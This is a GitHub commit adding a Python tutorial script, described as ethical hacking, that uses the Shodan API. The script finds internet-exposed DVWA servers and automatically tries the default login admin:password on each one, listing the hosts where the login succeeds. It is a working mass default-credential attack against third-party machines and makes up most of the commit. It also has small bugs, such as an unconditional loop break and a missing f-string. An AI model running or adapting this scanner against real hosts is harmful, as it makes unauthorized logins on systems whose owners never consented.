Skip to content

Commit 4dc67b1

Browse files
committed
add using shodan api tutorial
1 parent b1f27c7 commit 4dc67b1

File tree

4 files changed

+85
-0
lines changed

4 files changed

+85
-0
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -30,6 +30,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
3030
- [How to Crack PDF Files in Python](https://www.thepythoncode.com/article/crack-pdf-file-password-in-python). ([code](ethical-hacking/pdf-cracker))
3131
- [How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python). ([code](ethical-hacking/sql-injection-detector))
3232
- [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor))
33+
- [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python). ([code](ethical-hacking/shodan-api))
3334

3435
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
3536
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

ethical-hacking/shodan-api/README.md

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
# [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
- Get Shodan API key and edit `shodan_api.py` API key and change on your needs.
5+
- Run `shodan_api.py`
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
shodan
2+
requests
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
import shodan
2+
import time
3+
import requests
4+
import re
5+
6+
# your shodan API key
7+
SHODAN_API_KEY = '<YOUR_SHODAN_API_KEY_HERE>'
8+
api = shodan.Shodan(SHODAN_API_KEY)
9+
10+
# requests a page of data from shodan
11+
def request_page_from_shodan(query, page=1):
12+
while True:
13+
try:
14+
instances = api.search(query, page=page)
15+
return instances
16+
except shodan.APIError as e:
17+
print(f"Error: {e}")
18+
time.sleep(5)
19+
20+
21+
# Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials
22+
# visits the login.php page to get the CSRF token, and tries to login with admin:password
23+
def has_valid_credentials(instance):
24+
sess = requests.Session()
25+
proto = ('ssl' in instance) and 'https' or 'http'
26+
try:
27+
res = sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", verify=False)
28+
except requests.exceptions.ConnectionError:
29+
return False
30+
if res.status_code != 200:
31+
print(f"[-] Got HTTP status code {res.status_code}, expected 200")
32+
return False
33+
# search the CSRF token using regex
34+
token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1)
35+
res = sess.post(
36+
f"{proto}://{instance['ip_str']}:{instance['port']}/login.php",
37+
f"username=admin&password=password&user_token={token}&Login=Login",
38+
allow_redirects=False,
39+
verify=False,
40+
headers={'Content-Type': 'application/x-www-form-urlencoded'}
41+
)
42+
if res.status_code == 302 and res.headers['Location'] == 'index.php':
43+
# Redirects to index.php, we expect an authentication success
44+
return True
45+
else:
46+
return False
47+
48+
# Takes a page of results, and scans each of them, running has_valid_credentials
49+
def process_page(page):
50+
result = []
51+
for instance in page['matches']:
52+
if has_valid_credentials(instance):
53+
print(f"[+] valid credentials at : {instance['ip_str']}:{instance['port']}")
54+
result.append(instance)
55+
return result
56+
57+
# searches on shodan using the given query, and iterates over each page of the results
58+
def query_shodan(query):
59+
print("[*] querying the first page")
60+
first_page = request_page_from_shodan(query)
61+
total = first_page['total']
62+
already_processed = len(first_page['matches'])
63+
result = process_page(first_page)
64+
page = 2
65+
while already_processed < total:
66+
# break just in your testing, API queries have monthly limits
67+
break
68+
print("querying page {page}")
69+
page = request_page_from_shodan(query, page=page)
70+
already_processed += len(page['matches'])
71+
result += process_page(page)
72+
page += 1
73+
return result
74+
75+
# search for DVWA instances
76+
res = query_shodan('title:dvwa')
77+
print(res)

0 commit comments

Comments
 (0)